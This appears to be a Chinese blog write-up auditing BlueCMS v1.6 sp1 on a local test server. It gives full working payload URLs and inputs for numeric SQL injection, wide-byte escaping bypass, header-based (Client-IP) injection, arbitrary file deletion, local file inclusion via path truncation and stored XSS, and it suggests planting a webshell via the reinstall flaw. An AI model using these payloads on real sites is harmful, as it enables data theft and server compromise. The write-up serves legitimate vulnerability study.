天天看點

BlueCMS代碼審計

BlueCMS版本号為:bluecms_v1.6_sp1

本地搭建環境後将源代碼丢進seay源代碼審計系統,開啟本地web服務頁面通路,大部分白盒+小部分黑盒審計

BlueCMS代碼審計

 搭建好環境後第一步先檢查是否有重裝漏洞,通路網站install位置,我的網址是:

http://127.0.0.1/bluecms_v1.6_sp1/bluecms/install/      

  

BlueCMS代碼審計

 可以看到存在重裝漏洞,源代碼裡面沒有檢測網站是否已經搭建,是以我們可以通過重裝擷取管理者密碼進而在背景寫入shell

同時我們也可以在填入配置的時候,可以嘗試直接寫入一句話木馬進config.php檔案,進而拿到shell

這個時候seay審計工具也審計結束了

BlueCMS代碼審計

 我們可以依次進行分析,找出漏洞

進入ID=1的漏洞詳情

疑似漏洞點為:

$ad = $db->getone("SELECT * FROM ".table('ad')." WHERE ad_id =".$ad_id);      

  可以看到$ad_id沒有引号包裹,存在數字型SQL注入漏洞,接下來我們需要找到$ad_id參數的輸入點,構造利用點

這裡隻對輸入的$ad_id進行了空格的過濾

$ad_id = !empty($_GET['ad_id']) ? trim($_GET['ad_id']) : '';      

  輸出位置代碼為:

echo "<!--\r\ndocument.write(\"".$ad_content."\");\r\n-->\r\n";      

  而在ad_js.php檔案的開頭引入了過濾檔案

require_once dirname(__FILE__) . '/include/common.inc.php';      

  我們檢視common.inc.php檔案,有

if(!get_magic_quotes_gpc())
{
  $_POST = deep_addslashes($_POST);
  $_GET = deep_addslashes($_GET);
  $_COOKIES = deep_addslashes($_COOKIES);
  $_REQUEST = deep_addslashes($_REQUEST);
}      

  若果沒有開啟GPC防注入的話,則對POST,GET,COOKIE,REQUEST參數都進行過濾,但是deep_addslashes

function deep_addslashes($str)
{
  if(is_array($str))
  {
    foreach($str as $key=>$val)
    {
      $str[$key] = deep_addslashes($val);
    }
  }
  else
  {
    $str = addslashes($str);
  }
  return $str;
}      

  僅僅是在addslashes過濾函數基礎上的一個修改,而addslashes函數是不能防止數字型注入的,回到剛才漏洞的注入點:

$ad = $db->getone("SELECT * FROM ".table('ad')." WHERE ad_id =".$ad_id);      

  可以看到這裡是數字型的注入,是以我們能夠直接進行注入。

添加單引号:

http://127.0.0.1/bluecms_v1.6_sp1/bluecms/ad_js.php?ad_id=1%27      

  

BlueCMS代碼審計

 從源代碼我們已經看出來這是數字型注入了,我們可以不輸入單引号,但是如果不是數字型注入,我們嘗試使用寬位元組繞過GPC

http://127.0.0.1/bluecms_v1.6_sp1/bluecms/ad_js.php?ad_id=1%df%27      

  成功令%df%27合成一個漢字

BlueCMS代碼審計

 寬位元組注入繞過GPC實際上是PHP與MySQL互動過程中發生編碼轉換導緻的問題,從上面我們可以看到将轉義符去除了,進而可以對于字元型注入

當然這裡我們繼續使用數字型,使用order by 判斷字段數

http://127.0.0.1/bluecms_v1.6_sp1/bluecms/ad_js.php?ad_id=1%20order%20by%207      

  頁面沒有任何顯示,因為在ad_js.php的輸出裡面是

echo "<!--\r\ndocument.write(\"".$ad_content."\");\r\n-->\r\n";      

  将輸出在源代碼中注釋了,不會顯示在界面中,想要檢視也很簡單,檢視源代碼即可

字段數是7,檢視回顯位置

http://127.0.0.1/bluecms_v1.6_sp1/bluecms/ad_js.php?ad_id=1%20and%201=2%20union%20select%201,2,3,4,5,6,7      

  

BlueCMS代碼審計

 回顯位置是7,簡單檢視一下user使用者

BlueCMS代碼審計

 成功讀取目前使用者,SQL注入漏洞成功利用。

第二個漏洞點在:

$db->query("UPDATE ".table('ann')." SET click = click+1 WHERE ann_id = ".$ann_id);      

  同樣可以看到可能存在數字型注入

$ann_id = !empty($_REQUEST['ann_id']) ? intval($_REQUEST['ann_id']) : '';      

  但是在這裡将輸入的ann_id進行了數字的轉換,以至于不能進一步利用

另外好幾個疑似SQL注入的點都是用intval進行了數字轉換導緻不能利用

疑似任意檔案删除漏洞:

BlueCMS代碼審計
elseif($act == 'del_pic')
{
  $id = $_REQUEST['id'];
  $db->query("DELETE FROM ".table('post_pic')." WHERE pic_path='$id'");
  if(file_exists(BLUE_ROOT.$id))
  {
    @unlink(BLUE_ROOT.$id);
  }
}      

  可以看出來,選擇動作為删除,傳入id參數,先從資料庫中将其删除,然後如果本地存在該檔案也一并繼續删除。

我們在同目錄下建立test.txt

payload為:

http://127.0.0.1/bluecms_v1.6_sp1/bluecms/publish.php?act=del_pic&id=test.txt      

  

BlueCMS代碼審計

 通路構造的網址

BlueCMS代碼審計

 檔案已删除,進一步可删除伺服器任意檔案

二更

繼續看疑似漏洞點

$condition = " AND cat_id IN(SELECT cat_id FROM ".table('category')." WHERE parentid = ".$cid.")";      

  同樣,對于$cid使用了強轉,無法利用

$cid = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '';      

  

本地檔案包含疑似漏洞點:

elseif ($act == 'pay'){
  include 'data/pay.cache.php';
  $price = $_POST['price'];
  $id = $_POST['id'];
  $name = $_POST['name'];
  if (empty($_POST['pay'])) {
    showmsg('對不起,您沒有選擇支付方式ʽ');
  }
  include 'include/payment/'.$_POST['pay']."/index.php";
 }      

  我們到bluecms的檔案夾裡面去找pay能夠選擇哪種支付方式:

BlueCMS代碼審計

 alipay,是以我們先構造pay=alipay

BlueCMS代碼審計

 跳轉到了支付寶的一個支付界面,接着我們嘗試本地檔案包含,先嘗試%00截斷和和windows下點+斜杠截斷的方法,把本地phpstudy環境中php版本開到5.3.4以下,因為這兩個截斷在5.3以後的版本中已經全面修複了。

alipay同目錄下建立log.txt檔案,檔案内容為:

BlueCMS代碼審計
BlueCMS代碼審計

 先嘗試00截斷:

BlueCMS代碼審計

 頁面無回顯,我們在源代碼中添加一句:

BlueCMS代碼審計

 重新送出POST資料,可以看到頁面顯示了我們送出後的pay

BlueCMS代碼審計

 應該是引入了過濾函數,将0前面添加了反斜杠防止截斷。

再嘗試windows下使用240個連接配接的點進行截斷,我也沒數有多少個,反正多輸幾個再說

BlueCMS代碼審計

 可以看到成功包含了本地檔案,存在本地檔案包含漏洞

在user.php中也存在疑似任意檔案删除

elseif($act == 'del_pic'){
  $id = $_REQUEST['id'];
  $db->query("DELETE FROM ".table('company_image')." WHERE path='$id'");
  if(file_exists(BLUE_ROOT.$id)){
    @unlink(BLUE_ROOT.$id);
  }
 }      

  可以看到這一段與之前publish.php是類似的(除了表名不同)

是以我們簡單嘗試是否存在任意檔案删除,到user.php同目錄檔案夾下建立test.txt

BlueCMS代碼審計

 構造的payload為:

http://127.0.0.1/bluecms_v1.6_sp1/bluecms/user.php?act=del_pic&id=test.txt      

  但是此時頁面卻報錯了

BlueCMS代碼審計

個人感覺是由于在publish.php中删除,雖然其在資料庫中即便沒有找到該路徑,但是程式選擇了繼續執行下去,但是在user.php中設定的是如果沒有找到該路徑,就抛出錯誤,同時不再繼續進行,故這裡不能進行任意檔案的删除。

在user.php中另外一處疑似任意檔案删除漏洞

if (!empty($_POST['face_pic1'])){
        if (strpos($_POST['face_pic1'], 'http://') != false && strpos($_POST['face_pic1'], 'https://') != false){
           showmsg('ֻ֧隻支援本站相對路徑位址');
         }
        else{
           $face_pic = trim($_POST['face_pic1']);
        }
    }else{
        if(file_exists(BLUE_ROOT.$_POST['face_pic3'])){
            @unlink(BLUE_ROOT.$_POST['face_pic3']);
        }
    }      

  可以看到在else中對于POST輸入的face_pic3沒有進行其餘的檢查而直接@unlink删除了檔案。

同樣先建立test.txt檔案

BlueCMS代碼審計

hackerbar構造:

BlueCMS代碼審計

運作後更新個人資料成功

BlueCMS代碼審計

 同時目錄下的test.txt檔案已被删除

BlueCMS代碼審計

bluecms中擷取使用者IP位址是通過:

function getip()
{
  if (getenv('HTTP_CLIENT_IP'))
  {
    $ip = getenv('HTTP_CLIENT_IP'); 
  }
  elseif (getenv('HTTP_X_FORWARDED_FOR')) 
  { //擷取用戶端用代理伺服器通路時的真實ip 位址
    $ip = getenv('HTTP_X_FORWARDED_FOR');
  }
  elseif (getenv('HTTP_X_FORWARDED')) 
  { 
    $ip = getenv('HTTP_X_FORWARDED');
  }
  elseif (getenv('HTTP_FORWARDED_FOR'))
  {
    $ip = getenv('HTTP_FORWARDED_FOR'); 
  }
  elseif (getenv('HTTP_FORWARDED'))
  {
    $ip = getenv('HTTP_FORWARDED');
  }
  else
  { 
    $ip = $_SERVER['REMOTE_ADDR'];
  }
  return $ip;
}      

  實際上使用XFF是能夠繞過的,大概看了一下,對于ban掉的IP也是通過XFF擷取到的IP位址來判斷的,并不安全

在guest_book.php檔案中調用了擷取到的IP位址存儲到資料庫中:

elseif ($act == 'send')
{
  $user_id = $_SESSION['user_id'] ? $_SESSION['user_id'] : 0;
  $rid = intval($_POST['rid']);
  $content = !empty($_POST['content']) ? htmlspecialchars($_POST['content']) : '';
  $content = nl2br($content);
  if(empty($content))
  {
    showmsg('評論内容不能為空');
  }
  $sql = "INSERT INTO " . table('guest_book') . " (id, rid, user_id, add_time, ip, content) 
      VALUES ('', '$rid', '$user_id', '$timestamp', '$online_ip', '$content')";
  $db->query($sql);
  showmsg('恭喜您留言成功', 'guest_book.php?page_id='.$_POST['page_id']);
}      

  $online_ip是在guest_book.php包含的common.inc.php檔案中擷取到的:

$online_ip = getip();      

  getip函數在common.fun.php中,上面我們顯示過代碼,這裡不再贅述。

雖然整個代碼裡面開啟了SQL防注入以及參數過濾,但是在PHP5之後使用$_SERVER取到的header字段不會受到GPC的影響,而在header注入中最常見也是程式員經常會忽略的地方就是user-agent,referer以及client-ip/X-Forwarded-For,我們這裡就是利用這個特性鑽了空子而注入。

先在網頁上嘗試留言

BlueCMS代碼審計

 留言成功,使用burpsuite抓包,使用client-ip僞造ip位址

BlueCMS代碼審計

 這裡有很多種注入方式,我們簡單回顯目前資料庫使用者

BlueCMS代碼審計

明天再更,找一些XSS漏洞

三更

找一下XSS漏洞,XSS漏洞經常出現在文章發表,評論回複,留言以及資料設定等地方,這裡我們根據功能點去尋找

來到留言回報界面

http://127.0.0.1/bluecms_v1.6_sp1/bluecms/guest_book.php      

  

BlueCMS代碼審計

 代碼裡有:

$content = !empty($_POST['content']) ? htmlspecialchars($_POST['content']) : '';      

  對于我們輸入的正文content進行了XSS過濾

昨天有一個漏洞是client-ip進行注入,嘗試了一下在僞造ip中添加XSS攻擊腳本,但是getip()擷取的長度有限制,不能構成攻擊,但是這裡确實是存在XSS漏洞,将guest_book.htm顯示IP代碼修改一下:

發表于:{#$guest_list[g].add_time|date_format:"%Y-%m-%d %H:%M:%S"#}   IP: <script>{#$guest_list[g].ip#}</script>      

  在IP處添加了script來顯示。

BlueCMS代碼審計

 如果沒有長度限制,應該将script添加到client-ip裡面,發送留言

BlueCMS代碼審計

 修改成有漏洞的代碼了hhh。

繼續尋找存儲型的XSS漏洞,存儲型XSS漏洞需要尋找未過濾的輸入點和未過濾的輸出函數,看一下個人資料處

BlueCMS代碼審計

 這裡的個人資料是可以修改的,檢視輸入個人資料處代碼

$birthday = trim($_POST['birthday']);
$sex = intval($_POST['sex']);
$email = !empty($_POST['email']) ? trim($_POST['email']) : '';
$msn = !empty($_POST['msn']) ? trim($_POST['msn']) : '';
$qq = !empty($_POST['qq']) ? trim($_POST['qq']) : '';
$mobile_phone = !empty($_POST['mobile_phone']) ? trim($_POST['mobile_phone']) : '';
$office_phone = !empty($_POST['office_phone']) ? trim($_POST['office_phone']) : '';
$home_phone   = !empty($_POST['home_phone']) ? trim($_POST['home_phone']) : '';
$address = !empty($_POST['address']) ? htmlspecialchars($_POST['address']) : '';      

  看上去隻對位址進行了XSS的過濾,再看看輸出的位置

$user = $db->getone("SELECT * FROM ".table('user')." WHERE user_id=".intval($_SESSION['user_id']));
$ann_arr = get_ann(0, 8);
template_assign(array(
        'act', 
        'user', 
        'current_act', 
        'ann_arr'
      ), 
      array(
        $act, 
        $user, 
        '會員中心',
        $ann_arr
      )
    );
$smarty->display('user.htm');      

  将登陸使用者的資訊從資料庫中提取出來,并且以user.htm為模闆顯示出來,模闆部分代碼為:

BlueCMS代碼審計

實際上經過測試此處能夠XSS的輸入框有兩處:分别是郵箱,使用者頭像

因為現居住地經過了過濾,QQ,辦公電話有長度限制,出生日期我不知道怎麼設定的,應該是有輸入規範2020-4-22這種,不能輸入不合法的數字:

BlueCMS代碼審計

 而郵箱處顯示代碼為:

<td align="left"><input name="email" type="text" value="{#$user.email#}" class="inputbox" /></td>      

  我們輸入payload為:

<script>alert(2)</script></td>//      

  個人頭像處顯示代碼為:

<td align="left"><input type="text" name="face_pic1" value="{#$user.face_pic#}" class="inputbox" /></td>      

  我們輸入payload為:

"/></td><script>alert(/xss/);</script>//      

  确認修改後通路user.php

BlueCMS代碼審計
BlueCMS代碼審計

 成功執行存儲型XSS。